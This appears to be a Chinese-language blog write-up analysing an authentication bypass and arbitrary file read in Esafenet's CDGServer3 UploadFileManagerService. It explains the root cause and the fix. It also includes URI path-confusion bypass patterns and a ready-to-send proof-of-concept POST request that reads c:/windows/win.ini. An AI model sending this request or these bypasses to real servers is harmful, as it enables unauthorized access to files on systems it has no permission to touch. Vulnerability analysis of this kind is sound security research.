前言

最近又有刷到亿赛通UploadFileManagerService存在鉴权绕过任意文件读取漏洞的消息,于是在空闲时间中浅析一下漏洞成因。

分析

在众多jar包中全局搜索到UploadFileManagerService类,该类是继承于WebController,且没有servlet相关函数,如service。

步入其父类WebController,service中获取command、fromurl参数,判断表单是否重复提交操作。接着进入如下逻辑:

  1. 严格判断command是否为空。
  2. 通过getRequestURI获取uri赋值给clienturl;获取session中的loginMng,用来判断用户是否登陆
  3. 进入if判断条件,因为&& 优先级要大于||,所以这个判断条件只需满足如下任意一条即可
    ● uri不为空且包含login或SystemConfig
    ● loginMng不为空且保持登陆态
    在java中request.getRequestURL()和request.getRequestURI()处理不了一些危险字符,通常存在权限绕过的风险。
    以如下代码为例:
    @RequestMapping(value = "/hello")
    @ResponseBody
    private String index(HttpServletRequest request, HttpServletResponse response) {
     String uri = request.getRequestURI();
     String serlvetPath = request.getServletPath();
     return "uri: " + uri + "/t" + "serlvetPath: " + serlvetPath;
    }
    
    访问以下地址时,都是交由上述servlet来进行处理
    /css/../hello
    /css/%2e%2e/hello
    /css/..;/hello
    /hello;.css
    
    这里我们只需要访问/document/UploadFileManagerService�;.login,即可满足if判断条件,进入后续代码触发
  4. 反射调用函数,调用的函数名前缀为action,actionName通过command可控。这里将command赋值为ViewUploadFile,即可调用UploadFileManagerService类中的actionViewUploadFile函数。对应的传入filePath为任意路径下的文件,实现任意文件读取。

修复

web.xml中添加了验证session的filter


且UploadFileManagerService#actionViewUploadFile函数中判断filepath是否存在..并判断是否包含配置文件中默认的文件上传地址

复现

POST /CDGServer3/document/UploadFileManagerService;login HTTP/1.1
Host: 
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Connection: close

command=ViewUploadFile&filePath=c:/windows/win.ini&fileName1=anythind


多看一眼函数,其实还可以发现该类中另一个函数还存在任意文件删除的鸡肋漏洞